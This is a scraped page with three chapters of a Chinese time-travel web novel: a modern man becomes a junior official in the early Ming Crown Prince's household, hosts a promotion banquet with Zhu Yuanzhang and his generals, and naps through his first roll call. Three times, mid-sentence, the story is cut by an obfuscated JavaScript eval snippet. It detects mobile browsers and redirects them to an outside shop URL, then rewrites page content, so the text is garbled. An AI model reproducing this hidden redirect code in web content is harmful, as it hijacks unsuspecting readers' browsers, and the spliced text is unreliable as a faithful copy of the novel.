“朱大人无需担忧太多,当值也就是帮帮太子处理些事务而已,以朱大人的聪明才智,一定很快上手的。” 这番安慰不能说毫无卵用。 只能说安慰效果相当有限。 聪明才智? 自己怎么不知道自己有这东西……离了房车查资料,自己也就是个具备社畜经验的普通人啊! 朱安宁还是一阵牙疼的样子。 不过他也是对这刘廌刘畾的爷爷,刘伯温,又多了一丝好感。 这老头是真不错。 “诚意伯缪赞了……我就是略知些东西而已。” 刘伯温听完朱安宁的话,也是摇头轻笑。 如果只是略知一二,怎么能够想出那么多天马行空,而又颇有实际意义的计策嘛。 更别说他在农事和工事上,好像也相当厉害。 刘伯温就权当朱安宁是在谦虚。 而一边的宋濂也是看出了这个小伙子的不安。 “朱大人,若是不嫌弃,明日你可以在城门外等我孙宋慎,他也要去东宫当值,让他给你带路便是……” 他也是好心开了口。 却也是引来了朱元璋的侧目。 这朱安宁,人缘好像还真挺好。 这宋濂不是应该和他有点矛盾么。 老朱砸吧了下嘴巴,不露声色地,继续看着一众人的反应。 “诶,那就谢过宋大人了,我还……真的不是很认识路。” “客气了,朱大人卯时在城门口等即可。” “好……”朱安宁下意识地应了句,然后是倏地站了起来:“宋先生你说什么时辰?!卯时?” 他大叫的样子,很是失礼。 却也是让一众王公大臣都笑了起来。 “对,卯时!”朱元璋轻哼了一声:“怎么?你这年纪轻轻的,卯时怎么了!你从这骑个马到城门口,能花多少时间!” “我……我不会骑马……” “嗯?” 这下轮到朱元璋有点懵逼了。 “那……哎戚祥!明早你骑马送送他……然后,快点教会他骑马!指挥佥事,马都不会骑,今天他赴任,明日指不定就被弹劾!” 老朱骂了两声,只觉得朱安宁有些丢人…… 朱安宁一听有人送……那是脸色缓和了些。 但是还是有点发白。 卯时啊!五点钟啊! 这是什么班,放现代资本家都不敢让人这么早上班! 他目光扫了一阵,最后是锁定了朱标。 “大哥……能不能不要这么早……” “安宁小弟,点卯这种事情,那是自古以来的时间,你不用上朝,上朝还得更早。” “更早?!” 你们怎么不通宵…… 朱安宁也是一瞬间没了脾气,因为他想起了。 历史上不管朱元璋还是朱标,都是工作狂人。 所以和他们投诉上班时间过早,那等于是白搭…… 颓然坐下的朱安宁,是一阵脑瓜子嗡嗡地疼。 公、仆不是应该早上十点到,伸个懒腰吃午饭,完了下午睡个午觉,醒来和同事嘻哈两句,下班的么? 怎么这大明的公、仆这么苦啊…… 而这个话题,实际是掀不起什么波澜的。 因为除了他,整桌人都已经习惯。 徐达和汤和又是对视了一眼,两人起身走到了朱元璋的身边。 “上位,这席应该还没那么快开吧。你说的火绳枪在哪,我和二哥想看看……” 汤和开了口。 “是啊大哥,我们星夜兼程,马都跑吐了,就是听你说有了无上火器。” 徐达也附和了一声。 老朱看了眼两人,也是知道他们坐到现在,终于是等急了。 也没恼。 他点了点赵集,开口道:“赵集,你带魏国公,信国公去试一试火绳枪,他们听我信中说了两遍,现在是眼馋得很。” 一众人都听到了朱元璋的话语,倒也没有太过意外。 按理来说,徐达和汤和是不会出现在这里的,他们应该还在练兵才对。 那么足以让他们回来应天府,且出现在永乐庄的理由,那是再简单不过。 火绳枪! 这里的几人,除了宋濂,都是知晓火绳枪存在的人。 “上位,我是否可以同去!”坐在桌子另一边的李文忠也突然开了口。 他在历史上的评价,虽然是儒将,但是也是将! 他对火绳枪,还是很感兴趣的! “行,保儿,你也同去,小心些,火绳枪威力不俗!” 朱元璋又交代了句。 赵集当即领命。 快速跑到铁冶那里,拿了两杆火绳枪,哼哧哼哧又跑了回来。 领着汤和和徐达,又往山上走去,这已经是他今天走的第二遭了。 但是这次他要比上次兴奋得多。 方才上山,心里是沉甸甸的,也不知道自己会迎来怎样的结局。 而现在事情已经尘埃落定了。 这魏国公和信国公又是行军打仗方面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378795|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛人! 自己费心费力造出来的火绳枪,就是应该给这种猛男试才合适! 于是他一路上叨叨絮絮地开始给汤和和徐达讲解这枪的的构造,还有使用方法。 徐达和汤和也是听得认真。 他们本就是因为这件事才急匆匆赶回来的。 于是三人,很快就消失在了众人的视线里。 朱元璋回头看了眼脸还有些青的朱安宁,知道他在苦恼些什么。 “行了行了行了,要你点个卯好像要你命似的,这段时间你就给咱好好当值,收拢收拢你詹事府里面的人!” “收拢?”朱安宁敏锐地注意到了些关键字。 自己是少詹事,怎么算也是个部门长官吧,这收拢是什么意思? 意思是现在很散? 朱安宁脸色又不好了起来。 他求助似地看向了朱标,而朱标也是被他看得一阵不自然。 刘伯温李善长等人也是脸色变得古怪了起来。 他们都听懂了朱元璋的收拢是什么意思。 不就是权贵子弟都在里面混嘛…… 这可是包括朱元璋在内都心照不宣的事情…… 结果现 在老朱居然让朱安宁去收拢收拢…… 脑子最灵光的刘伯温一下就想通了方才朱元璋的安排。 少詹事文官首,文化人讲究文斗。 但是虎贲卫指挥佥事,是武官!武官身边带两三个下属,很常见吧! 看来朱老板是要整治一下詹事府了?! 深知苟道精髓的刘伯温是马上又把眼睛闭了起来。 自家可没有人在詹事府哪里混……轮不到自己管。而且这对大明来说也是好事! 随后李善长也想通了原委。 他和刘伯温对视了一眼,两人一同闭目养神了起来。 “安宁小弟,东宫詹事府,多勋贵之后,世家子弟也不少,他们父辈或是功勋卓绝,或是治国有方,但是家长孩儿又多,不是人人都能子承父荫,你能理解么?” 朱标轻声说道。 今天在的都是自己人,宋濂更是他的老师。 他也没什么忌讳,说得相当直接。 朱安宁的脸终于是不发青了。 他两眼一黑,差点就晕了过去。 所以说,自己。 朱安宁! 詹事府少詹事,实际的工作,就是去管一批高官子弟……是吧? “不行,我最不会管人了!” 朱安宁大脑运转了一会,他很快得到了最优解,那就是赶紧甩锅。 “那你会干嘛?”朱元璋瞥了他一眼,心中并没有想要放过他的感觉。 “种田?”朱安宁试探性地问了一句。 “好啊,那你就带詹事府这群人,帮太子,快些把江宁屯田千户所,给办起来吧。” 朱元璋微微一笑,话是,说得斩钉截铁。 ———————————————— 应天府内,突然出现了一些流言。 街头巷尾不断有人在传。 说好像又抓了一批官员。 起初,大家都以为是胡惟庸案的余波。 但是不少人注意到了流言里的一些信息。 似乎是贪墨啊…… 甚至还有人说布政使都被抓啦! 街头大妈们也只觉得这事信不得。 布政使何等身份,说抓就抓? 在嘻嘻冉冉的人流中。 有个拎着包袱的人,铁青着脸。 咬牙正向门外走去。 他不明白。 为什么这事会暴露得这么快。 明明上个月自己还打点好了上下。 郭桓还拍着胸脯说没问题。 那些地方大员家里的管事们也和自己通过气。 定是个和平的收获季。 然后……就没有然后了。 蓝染,是亲自打听到的。 离南直隶最近的那个布政使……已经被抓了。 所以着根本就不是什么流言。 这是真的! 很快,这清洗就快展开。 这势必会波及到自己。 所以他没有犹豫,他打包好了最值钱的细软,果断地出了城! 这场清洗,应当会席卷大明全境。 他作为中间人,应该是通缉力度最大的人之一…… 但是,他并非无处可逃! “东瀛……江南那边找船过去!” 他咬牙,下了个无可奈何的决断。 第一百九十二章 记一次酒宴 汤和和徐达很满意这枪。 外形看起来就比傻大黑粗的火门枪要好看不少。 射速虽然没有变快,但是单人就可以使用,这是何等的便利。 等于是少一个人的口粮,少一个人的辎重,这可是不得了的事情。 更不用说阵型变换是一下就简单了许多。 别忘了现实里可是有碰撞体积的啊!又不是网友里那种一亿个人都可以无限重叠的情况。 徐达是直接就差点把赵集给晃散。 “一月能造几何?!”他问得眼红耳赤。 练兵许久的他是一直想好好发挥火门枪优势的。 但是奈何这武器从宋朝至今都没有过好好地改良,用起来那是不能说没用,但是也不能说好好用。就有一种很鸡肋的感觉。 结果现在赵集弄出来的这个火绳枪,那是直接就爆了火门枪。 徐达哪能不激动。 这直接就是可以颠覆战争形势的存在啊! “目前也就四十余杆……”赵集被晃得想死,但是还是坚持回答了问题。 有人认可自己的作品,好过没有人能看到自己的努力。 此刻的赵集还是很开心的,毕竟得到了国公的认可。 还是公认的打仗勇猛无双的国公的认可。 “我现在就回去奏请陛下,给你更多人手,给我加大产量,我这边需要大量!”徐达那是当机立断,知道这强力的武器如果自己不先下手,大概率就是别人要抢走了,所以直接对赵集喊道。 汤和一听,也是绷不住了。 什么叫你需要大量。 我就不要了是吧。 他一把拉开了徐达,说了句看似公允的话。 “这枪,还得等上位分配,岂是你说要就要!” 其实他内心已经做好了去跪求快点装配自己军队的想法…… 徐达哪能看不出来,当即就是眉毛挑了起来,脸色变得不是太好看。 哥们是哥们,枪是枪。 谁不想马上用上这好枪?! 汤和和徐达是牙齿都咬碎了。 只恨自己不是第一个回到应天府见朱元璋的人。 也恨朱元璋没有第一时间把这枪掏出来给他们试一试。 要是自己先摸上了,何至于此! 两人立马就开始了互喷模式。 赵集在一边是听也不是不听也不是,端着枪在那里,尴尬异常。 两个国公吵架,他一个工部侍郎,能做什么嘛。 出声都不敢出声…… 直到最后徐达是忍不住跑了过来,开始拎着他的领子大叫,给我先。 赵集才知道。 武将还真的是逼急眼了,是没有素质的…… 而相对儒雅许多的李文忠,那是直接走到了赵集的身边,帮他解了围。 然后,是直接说道。 “赵大人,五军都督府,需要这批枪械,务必先优先供应给我,我再按需分配就是。” 李文忠说得是波澜不惊。 却是直接点炸了一旁的徐达和汤和。 于是,两人混战变成了三人骂街。 李文忠虽说是儒将,但是也是草莽出身,真要骂起来,不比汤和徐达好听多少。 三人便开始了关于族谱和祖宗的争夺战。 最终还是李文忠略微胜出些许,亲戚是老朱,就是好。 而赵集在一边也是听得心惊胆战,他连忙说出了更炸裂的东西,只求自己不要再被折磨。 赵集很顺理成章地告诉了汤和、徐达和李文忠,其实还有更好的,叫燧发枪。 仅仅说完了可以自生火这特性后。 赵集就发现,两人已经像跳崖似地,冲下了山…… 李文忠因为早就听过燧发枪,竟是慢了一拍。 只能留在原地,一脸愤怒地看向了赵集。 至于赵集,那是……要多无辜有多无辜。 而山下的朱安宁自然不知道是赵集已经出卖了自己。 他在慢慢接受了自己将要成为比现代高三学生还要苦逼的存在后,脸色也是缓和了不少。 大不了……早点睡觉吧…… 不玩文明6,也不打建筑图或者老滚了……笔记本里面的单机游戏,是怎么玩都不会腻呢。 朱安宁还是保持了现代的习惯。 那就是熬夜。 多亏了靠谱的太阳能板。 到现在朱安宁都还没有经历哪怕一次能源危机。 光伏技术,现代中国还是强的。 但是听完自己需要卯时就上班后,他也是痛苦不已。 想来想去,只能说是可以的话…… 还是早点睡吧…… 朱安宁这般安慰着自己。 成梁却也不知什么时候凑了过来。 “方先生安排到哪里……”他最初安排位置是,是没有想到还会突然加入这么一个人的。 作为应天府老市民,他还是知道方孝孺的名号的。 所以才会说拿捏不定,前来问朱安宁。 “让他过来这里吧……” 朱安宁也是说的直接,方孝孺又不是什么小卡拉米,等他年纪再大 点,好像朱元璋也是重用过他的。 所以现在让他上桌,也不是什么太过僭越的事情。 “好嘞,我现在去安排,方先生已经快要被学堂的孩童们烦死了……” “亏他没有发脾气……” “孩童们还是很喜欢方先生的……” “啊?没想到啊……” 两人简单对话了几句。 朱元璋也没有管。 最后还是朱安宁瞥了一眼一直在吃零嘴的老朱,心想这老头不是饿了吧。 连忙跟成梁又补了句。 “让大家快点落座吧,也可以上菜了,应天府里的大人们……都饿了。” 他指了指桌上的几人。 成梁那是听完就了然于胸,知道了朱安宁的意思,连忙点了点头。 等打发完成梁,朱安宁也终于可以抽空,问朱标一些问题…… 一些他不敢直接对朱元璋发问的事情…… “殿下……”朱安宁顿了顿,他换了个称呼,毕竟他也是注意到了,在人多的场合,称呼太子为大哥,好像有点炸裂……虽然好像这群人都没什么意见的样子…… 但是他还是换了个称呼。 今天听完朱元璋对他的安排,他已经隐隐感觉到了。 这穿越的发展,可能已经脱离了他的掌控。 本想是作为一个富家翁,不涉及权力中心,慢慢去改变这明朝的科技水平,同时又能实现自己的人生目标(有钱,秦淮河)。 结果现在来看。 最开始他就已经卷入了权力中心。 那是早就已经没得选择啦! 朱安宁迟疑了半晌,还是问了下去。 “周王……不就藩了?” 这其实是个相当敏感的话题。 明朝有别于几个封建王朝的便是藩王的权力,多少有点开历史倒车的嫌疑。 这大庭广众,问周王就藩的问题。 就算是朱安宁这种不懂官制的人,也知道不是什么好问题。 所以才问得如此小心翼翼。 朱标看了眼朱安宁的样子,那是直接笑了起来。 原来天不怕地不怕的年轻人,现在摆出这种表情,实在是有意思。 他笑着回答了朱安宁的问题。 “五弟说,他想把土豆和番薯,种好,再考虑其他事情,他自认识除了你之外,目前咱们大明,最懂种这新粮的人了,即便是李景隆,也比不上他。” “这倒是没错,虽然院里的田大部分时间都是三江……嗯,李景隆管的,但是说到底,还是周王……更懂其中的道理。” “所以咱已经遂了他的想法,这次新粮的推广,由他居中协调!” 朱元璋突然插了句话。 把朱安宁吓了一跳。 朱元璋也没关朱安宁的表情,继续说了下去。 “这次老五协调,九江刘廌刘畾辅助,现在人已经挑的差不多了,很快就来你这边开屯了,你詹事府,有责任帮老五协调其中,懂么?” 这话说得是相当随意。 却也是差点把朱安宁给干沉默。 这些话听起来怎么那么像现代的无良上司给自己派任务时的样子。 【你去某某部门帮帮忙吧,他们老大知道你的了,你过去直接管事就是……】 这上司的音容笑貌,还留存在朱安宁的脑海内。 和朱元璋重叠到了一起。 他时候才理解这意思。 大概就是,职务没有变动,权力没有一点,责任重于泰山,务必做出成绩…… 但是,无语又能怎样呢。 总不能不帮自己好学生吧。 对于朱橚,朱安宁可是超级喜欢的…… 原本还不知道他是朱橚,只觉得这个年轻人放现代保底985,放大了说指不定是C9的存在。 结果现在知道了,明朝大科学家朱橚啊…… 怪不得了。 这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378796|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真正意义上,薄纱了国内然后震惊了国外的巨佬…… 一己之力,奠定了中药在世界上地位的人,比肩李时珍。 他突然就燃起了斗志。 自己学农出身。 一身本领只发挥了不足一半,那现在如果能让朱橚认可这一套,不如全教给他更好! 朱安宁刚开始畅享未来,第一道菜,已经送上了桌面。 几个闭目养神的老臣,那是当即睁开了眼睛。 吃东西是人的本性,他们也不例外。 朱安宁一看菜已经开始端上来,那是自动自觉地站了起来。 他忙碌地给茅台开封,然后拿出酒杯,为一众人每人都添了一杯。 于此同时,其他桌也陆续坐满了人,都是些乡里乡亲,和朱安宁熟稔得很的人。 成梁早就备好了上好的米酒,随着菜肴的上桌,酒水也被一众人添满。 朱元璋也没管那么多。 他抑郁了数日的心情,必须要有个发泄的渠道。 朱安宁的升官宴便刚好承担了这个功能。 他自己站起来举杯大笑了声。 “乡亲们!恭贺朱大人升官!” 他突然站了起来。 不仅是出乎了这桌人的意料。 更是出乎了永乐庄几个老农们的意料。 本来大家都是等着朱安宁站起来的。 现在却站起了个老头。 不过无所谓了! 能敬酒就行! 这声音传得不远,但是靠得近的桌自然是能听清的。 随着有人举起了桌面的酒碗,更靠外的人也反应了过来。 空地上,所有人都站了起来。 酒杯也好,酒碗也好,都是高高举起。 大家都在共同恭贺一件事情。 那就是恭喜朱安宁,赴任詹事府少詹事。 村民们喝的是米酒,香甜可口。 朱安宁等人喝的是茅台,醇香农密。 虽然第一口包括宋濂和李善长都不是很喝的惯。 但是回味了片刻。 他们也是知晓了这酒的辛辣香醇。 老酒鬼们舔了舔嘴巴,开始等待下一杯。 刘伯温这个已经喝过的人,那也是笑了出声。 小院外的空地,立马就变成了欢乐的海洋。 吃喝成了这方天地唯一的任务。 可口的菜肴不断端上桌。 一众人都大快朵颐了起来。 包括朱元璋在内。 他没有再管什么文明与否,这顿饭他吃得粗犷无比,反正也没有人阻止他。 而朱安宁也刚准备吃下第一口饭菜。 山上冲下了两人,那是直接就把他给驾了起来。 把他的筷子都震到了地上。 正是汤和和徐达。 “造燧发枪!” “造燧发枪!” 两人的述求相当一致…… 徒留朱安宁,一脸懵逼。 最后…… 还是好心的朱标,费心费力地解释了一通。 这燧发枪可没有那么好造后。 两人才放开了朱安宁。 转头便开始想借酒浇愁。 结果才喝上一口,眼睛那是立马亮了起来。 “这不是大哥之前给我们喝的么?” 两人是立马反应了过来。 原来是朱安宁这里得的。 菜肴续上。 酒杯也在交错。 有些事情已经告一段落。 于是有人便开始放纵。 继而,有人便开始需要陪酒。 比如朱安宁,幸好他经验丰富。 那是连说代哄,挡住了一桌人的敬酒。 也恰是此时,姗姗来迟的方孝孺,终于是落座。 他才安排好孩童们的吃食问题。 从这点来看,他确实是啊称职的先生。 被宋濂叫过来的方孝孺多少还是有点紧张。 毕竟陛下太子一众国公都在这里。 但是很快,他就不紧张了。 因为朱安宁一把把他薅到了自己这边,不管谁敬酒都要分他一点。 很快,方孝孺就嗨了起来。 幸好还有宋濂按着,不然,又是要出大事。 这筹备了许久的升官宴,最终还是达成了他最初的目的。 那便是,吃好,喝好。 至于他的职业学院规划。 好像只能找个机会再说了…… 第一百九十三章 主官生气了? “呜……戚叔,马怎么这么颠啊……” 天乌漆嘛黑的,太阳还未出来,这种时辰骑马,本是不应当的。 但是奈何朱安宁要去当值,他又还不会骑马…… 幸好戚祥那是熟门熟路又武艺高强,驾驭的也是老马,才没有说带着朱安宁一起掉进沟里。 只是第一次骑马的朱安宁那是一阵不适,胃里是翻江倒海。 昨日的宴席,还是很成功的。 唯一不太好的地方就是,太多人给他敬酒,就算拎着方孝孺给自己挡酒……后面还出动了朱棣,都无济于事。 这直接就把他喝了个七荤八素。 这次喝酒,大概是因为终于解决了些问题。 老朱也好,朱标也好,那是心情大好。 拉着汤和徐达等人,是喝了个爽。 茅台喝完,还有老乡们的米酒。 再说那同福楼的厨子手艺确实相当好。 野味和之前准备好的食材,那是做得相当棒。 一众人,真就是吃好喝好。 几个小插曲不过是徐达汤和李文忠疯狂暗示朱安宁赶紧造燧发枪。 朱标则拉着朱安宁开始算这新粮如何推广的问题。 之类的…… 总之,是让朱安宁,成功宿醉。 幸好后续的事情,成梁是处理得井井有条。 入席到散席,他都跟得很好。 而最让朱安宁崩溃的是,他喝是喝好了,但是早上……他要被迫一大早起来。 穿好那繁复的花鸟官袍……准备衣冠禽兽一把。 上戚祥的马,去詹事府里当值。 然后,在马上的他,被颠得差点吐出来…… “朱大人,两人骑马,肯定是有些不舒服的了,等你今日下值,我教你骑马吧,你现在也是指挥佥事了,不能说连个马都不会骑……兄弟们会笑话你的。” “呕……好说好说……” 朱安宁在马上干呕了一阵。 要不是清晨的空气还算清新,他真就是一口吐到路边去了。 “呃……我再也不喝酒了……” “哈哈,朱大人,这每次吃酒吃多了难受,我也会说这话,但是不是……” “但是下次还敢对吧。” “哈哈,是的是的。” 两人在马上贫了几句。 说起来,骑马确实要比朱安宁自己走路要快太多。 永乐庄外面的官道通到了应天府城门口。 两人并没有花太多的时间。 那城门早已打开,陆续有人在进城。 所以朱安宁戚祥两人的出现也不算扎眼。 盘问了两句,他们便进到了城里,看到了早就等候在路边的宋慎。 他也看到了两人,连忙上前打了声招呼。 “见过朱大人,戚大人……”他规矩行礼,昨日,从永乐庄回来的宋濂,严肃地交代了他,以后要与这朱安宁交好。 然后这老爷子便拿着方孝孺给他的几篇文章,回了自己房间。 那灯,似乎是亮到了深夜。 没错,宋濂拿到手的是,王阳明的文章。 这事,朱安宁是完全不知情的…… 他只是把文章随手丢了给方孝孺而已。 “小宋大人早。”戚祥也是抱拳回礼,笑呵呵道。 朝中宋慎的叔叔也是为官,为了区别,便有了这叫法。 “小宋大人早。”朱安宁颤颤巍巍地扶着马儿,也是打了声招呼。 对于朱安宁这般模样,宋慎是早有准备的。 宋濂昨天都喝到微醺了,作为宴席主角的朱安宁,还能清醒? 不过看着脸色都在发青的朱安宁,宋慎还是觉得有点好笑。 他摇了摇头,从口袋里掏出了提前准备的蜜饯凉果递了过去。 “朱大人,咱们得抓紧时间了,一会就点卯了,你是詹事府的文官首,可不能迟到……这凉果多少能让你舒服点,你吃了吧。” “啊……”朱安宁长长的啊了一声……多少有点哀嚎的感觉,毕竟还是难受。 然后才接过宋慎递过来的凉果。 他赶紧丢进了嘴巴。 发现也就是黄梅干一类的东西而已,酸酸的,能不能解酒他不太清楚,但是却是让他清醒了不少。 “谢谢小宋大人……我们赶紧走吧。”他说完,又回头对戚祥行了个礼,表达谢意。 而戚祥也只是笑着挥挥手,上马准备去虎贲卫的驻地。 他要挑两队靠谱的人马,去永乐庄驻扎了。 这可是老朱的命令。 看着戚祥远去,朱安宁也是连忙跟上了宋慎的步伐。 虽然他走得很虚浮……但是,上班嘛,没办法。 城门到皇宫,所花的时间并不算太多。 两人都没有说话。 宋慎是不知道说什么好,而朱安宁是难受,不想说话…… 詹事府其实就是东宫内的一个官署。 叫得上名号的官职,基本都是朝臣兼领,或带翰林官衔,让勋旧大臣领其职是老做法了。 这批人现在正在朝中,属于是基本轮不到朱安宁的管的人,毕竟他 们大部分,官职实际是比朱安宁还高的…… 朱安宁,真正的能管的,不过是在这詹事府混日子的勋贵庶出子弟罢了…… 但凡有能力,能承袭爵位的,是基本不会放来这里的。 直接入朝不是更好么。 在这里窝着是图这地方够清净? 于是这明明是行宫中供给之事,辅佐太子的詹事府,就这么地……变得毫无用处起来。 以至于詹事少詹事都许久没有正式设置。 往往都是随便找个大臣兼了算了那种。 朱安宁算是洪武开朝这么多年来,为数不多的,正儿八经不去上朝,却要来詹事府当值的少詹事了。 宋慎是做了个请的姿势,想把朱安宁请进去。 官职有高低,而且宋慎也是被上次的事情给整怕了,又被自己爷爷警告了一番,那是对待朱安宁态度极好。 朱安宁也没有管那么多,是直接走了进去,找了个位置就坐了下来。 一身的虚汗。 “点卯怎么个点法。”他缓了许久,才开口询问。 “朱大人,您是主官,一般就是由您来点。”宋慎昨晚知道自己要陪同朱安宁后,那是当晚就遣人去知会了自己鸿胪寺的主官,告知了今日有事。 所以才会还陪在这里。 他给朱安宁解释了一番。 按照一般官署的习惯。 宋慎很快翻找到了点卯的簿子。 然后,两人一同坐了下来。 等了良久,等到太阳都已经露头。 明显已经是过了正式点卯时间,朱安宁都已经睡过一觉了,终于恢复点元气。 这官署,还是空无一人…… 这不免让宋慎有些尴尬…… 他是鸿胪寺的序班,对詹事府还真不怎么了解。 他只知道很多大员好像都有兼任这官署的官职,但是又真的没有怎么听说过这官署具体干了些什么。 朱安宁也只能茫然地看了眼宋慎,然后不免有点恼火。 tnnd,自己大清早被抓来这里说点卯。 结果合着就自己早到了是吧。 这就很让人不爽了。 两人坐着有等了小半个时辰。 当太阳彻底挂上枝头。 空气开始变得燥热起来的时候。 有人开始走进庭院。 穿的是低阶的官袍,饶是朱安宁这种没有研究的人,也知道他们品级不高。 那几人原本是一副懒懒散散的样子,却在见到朱安宁后,震了震。 他们可不认识朱安宁。 但是他们会认官袍啊。 怎么会有大官在自己这里?! 那几个勋贵庶子,都是一脸震惊,连忙慌张地开始给朱安宁行礼。 不知道是谁不要紧,先行礼再说…… 就在他们开始行礼的时候。 像是约好似的。 十几号人鱼贯而入。 无一例外的,全是穿着低阶官袍,且都是神态慵懒。 好几个人还在那打着哈欠。 “近几日真是有点太热了,咱们以后还是来早些吧,太阳真大。” “来这么早干嘛,来了也是没事干。” “怎么没事干,打不打叶子牌嘛?” “打什么叶子牌,不如和我下棋!” “哎,你这种臭棋篓子,还是算了吧。” 十几个年轻人,嘻嘻哈哈地挤到了官署中。 然后又同时闭上了嘴巴。 因为他们都看清了穿着四品官袍的朱安宁…… 朱安宁也是一阵无语。 好家伙……这就是詹事府? 妈耶,这群人聊天,不是打牌就下棋,好像……好像很闲啊! 老朱发配自己过来这里干嘛? 给这群公子哥们来点新风尚? 一众人现在是大眼瞪小眼。 都有些不知道该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378797|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么好。 最后还是有人认出了已经站了起来,伴在朱安宁身边的宋慎。 连忙是开口问了起来。 “小宋大人?你没去鸿胪寺,怎么来我们詹事府了……还有你身边这位是?” 有人壮着胆子开始发问。 他们一众人看着脸色发青的朱安宁,是多少有些紧张。 因为他们摸不清情况。 而且这人,看起来脸色不是很善的样子…… 朱安宁哪能想到那群勋贵子弟,都有些怕自己。 他只是单纯有些难受……脸色发青,然后又不知道说些什么好而已…… “诸位,这位是新上任的少詹事,朱安宁朱大人,想必各位是听过的,前几日应该就已经有旨意过来了吧。” “有是有……”几个人嘀咕了一下。 像这种宣布谁谁谁又做了詹事府某某职位的事情。 他们一向都是无视的。 因为大部分就是挂职…… 没想到,今天,真的正儿八经来了个少詹事。 于是,所有人都懵逼了起来。 最后还是有两三个比较醒目的人开始弯腰行礼。 “见过朱大人!!!” 有人带头,自然就 有人附和。 一众人是如梦初醒。 开始连忙行礼。 “我还用点卯么?”朱安宁没有抬头,他撑着自己的身子,缩进了屋檐下的阴影里,坐在椅子上的他,还是有点难顶。 这话是向宋慎发问的。 但是由于他没有抬头的缘故。 庭院中的勋贵子弟们……都以为是在诘问自己。 那是直接就被干沉默了下来…… 这少詹事,怎么一副这么不好惹的样子…… 几个胆子小的,已经是被朱安宁吓得发起了抖来。 大家都是来混日子的而已。 不用这样吧…… 当这詹事府的小官,俸禄又没多少,只是说家里说出去好听些而已。 而几个胆子大的,家里父辈爷爷辈本就是比较有权有势的,那是多少有点不服。 正想寻点借口给这新官说道说道时。 一众人都看到朱安宁掏出了点卯的簿子。 “呃……不点就算了……” 朱安宁这话说得很淡,轻飘飘的。 靠得进的宋慎,是明显看出了,这是想递给自己的意思。 但是大概是又困又难受,朱安宁的手抖了抖,最后那簿子是直接掉到了地上。 靠得远的那些子弟自然是看不清朱安宁手抖的。 他们只听见这主官,好像是在阴阴怪气。 还把点卯簿子丢到了地上…… 一下把几个准备找借口怼两句的人都吓在了那里。 尊卑有序。 再怎么样,这人也是自己的主官,他好像生气了,自己这几人还触他霉头,岂不是找不痛快…… “行了,你们该干嘛干嘛去吧。” 缩在后面的朱安宁,顺势闭上了眼睛。 不用点卯就好。 也就是说现在自己终于可是再睡个回笼觉了? 他靠在座椅上,很快调整好了姿势。 睡了起来。 方才他可是听得明明白白的。 自己手下这群人好像过来也就是打牌下棋,无所事事。 所以……自己今天摸个鱼,好像也没什么问题吧? 上班不摸鱼,哪能叫赚钱? 于是,朱安宁,真的就这样,心安理得地,在官署内,闭起了眼睛。 宋慎捡起地上的点卯簿。 那是一阵无奈。 他是看出来了。 朱安宁是真的想睡。 但是下面那群人……好像是会错了意。 大概……他们都已经被吓到了? 看他们那副可怜样,宋慎也是有点同情。 说白了,他也是这群人中的一员,只不过他是去鸿胪寺混,而这群人是在詹事府混而已。 “诸位大人,先进署里吧。” 他招呼了一句。 一众人是如蒙大赦。 汗流浃背地跑向了厅堂内。 开始寻了个位置,装模作样地开始做事。 而朱安宁,也是,陷入了沉睡。 宋慎看着署里慌慌张张找事情做的众人,又看了眼躺在那里看起来就是睡着了的朱安宁。 是一阵愕然。 是不是,这群人又误会了什么啊…… 第一百九十四章 高高举起,轻轻放下 东宫官属除了太子少师、少傅、少保、詹事这种官衔高到基本就是虚职的以外。 还有府事、府副使、谕德、赞善大夫等一类官职,大多是以勋旧大臣兼领其职。 以免廷官和东宫官不合。 这事情老朱还是很忌讳的。 结果现在就导致了兼任东宫官的那批人,本来就是在朝廷中担任要职,实际忙得要死。 而朱标也习惯了直接对接廷官,詹事府和下属的官署,真就是有点闲。 所以实际还留在这詹事府以及詹事府管辖的春坊、右春坊、司经局等部门的所谓官员。需要实际来到这里当值的……大多都是文学、中舍、正字、侍正、洗马、庶子及赞读、录事一类…… 都是芝麻官。 平日也就是整理整理文书,按照之前设置好的任务,收录分类各处收上来的书籍。 就差不多是他们的工作了。 放现在就是神仙职位的那种。 自己选时间上班,自己选时间下班,只要不闹出大乱子,那是一辈子就有了的那种。 这非常符合这群庶出子弟的要求。 升官是不用想的。 这地进来了,不出意外,就是一辈子了。 老朱和朱标也深知这情况的无奈。 才会说把朱安宁这种看着就不走寻常路的人弄过来。 不然的话,按照正常詹事的设置,他现在应该是要作为太子的【侍班】,出现在早朝上的。 朱元璋朱标也知道朱安宁多少有点不情不愿,便索性给了个少詹事。 